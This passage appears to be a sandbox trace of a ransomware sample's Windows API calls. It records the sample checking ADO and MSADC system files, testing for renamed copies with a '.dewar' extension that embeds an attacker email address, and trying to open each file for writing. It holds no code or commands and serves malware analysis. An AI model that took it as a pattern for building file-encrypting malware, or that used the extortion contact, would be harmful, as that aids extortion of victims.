GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0243.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0243.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.537] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=98304) returned 1 [0243.537] CloseHandle (hObject=0xe0) returned 1 [0243.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0243.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0243.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.538] SetEvent (hEvent=0x118) returned 1 [0243.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.539] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=98304) returned 1 [0243.540] CloseHandle (hObject=0xe0) returned 1 [0243.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0243.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0243.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.542] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=98304) returned 1 [0243.542] CloseHandle (hObject=0xe0) returned 1 [0243.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0243.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0243.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.543] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=466944) returned 1 [0243.543] CloseHandle (hObject=0xe0) returned 1 [0243.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0243.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0243.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.551] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=20480) returned 1 [0243.551] CloseHandle (hObject=0xe0) returned 1 [0243.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0243.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0243.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.555] SetEvent (hEvent=0x118) returned 1 [0243.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.556] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=61440) returned 1 [0243.556] CloseHandle (hObject=0xe0) returned 1 [0243.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0243.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0243.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.558] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=495616) returned 1 [0243.558] CloseHandle (hObject=0xe0) returned 1 [0243.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0243.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0243.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.560] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=28672) returned 1 [0243.560] CloseHandle (hObject=0xe0) returned 1 [0243.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0243.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0243.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.562] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=106496) returned 1 [0243.562] CloseHandle (hObject=0xe0) returned 1 [0243.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0243.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0243.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0244.414] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=29184) returned 1 [0244.414] CloseHandle (hObject=0x1b4) returned 1 [0244.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0244.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0244.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\directdb.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.415] SetEvent (hEvent=0x118) returned 1 [0244.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0244.418] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=114688) returned 1 [0244.418] CloseHandle (hObject=0x1b4) returned 1 [0244.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll")) returned 0x20 [0244.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll")) returned 0x20 [0244.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.419] SetEvent (hEvent=0x118) returned 1 [0244.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0244.426] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=8192) returned 1 [0244.426] CloseHandle (hObject=0x1c8) returned 1 [0244.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll")) returned 0x20 [0244.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll")) returned 0x20 [0244.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.427] SetEvent (hEvent=0x118) returned 1 [0244.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0244.434] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=258048) returned 1 [0244.434] CloseHandle (hObject=0x1c8) returned 1 [0244.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0244.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0244.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.435] SetEvent (hEvent=0x118) returned 1 [0244.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0244.594] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=8192) returned 1 [0244.594] CloseHandle (hObject=0x1b4) returned 1 [0244.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0244.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0244.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.596] SetEvent (hEvent=0x118) returned 1 [0244.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0244.597] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=303104) returned 1 [0244.597] CloseHandle (hObject=0x1b4) returned 1 [0244.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0244.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0244.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0244.599] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=8192) returned 1 [0244.599] CloseHandle (hObject=0x1b4) returned 1 [0244.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0244.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0244.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0244.606] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=8192) returned 1 [0244.606] CloseHandle (hObject=0x1b4) returned 1 [0244.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0244.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0244.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.607] SetEvent (hEvent=0x118) returned 1 [0244.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 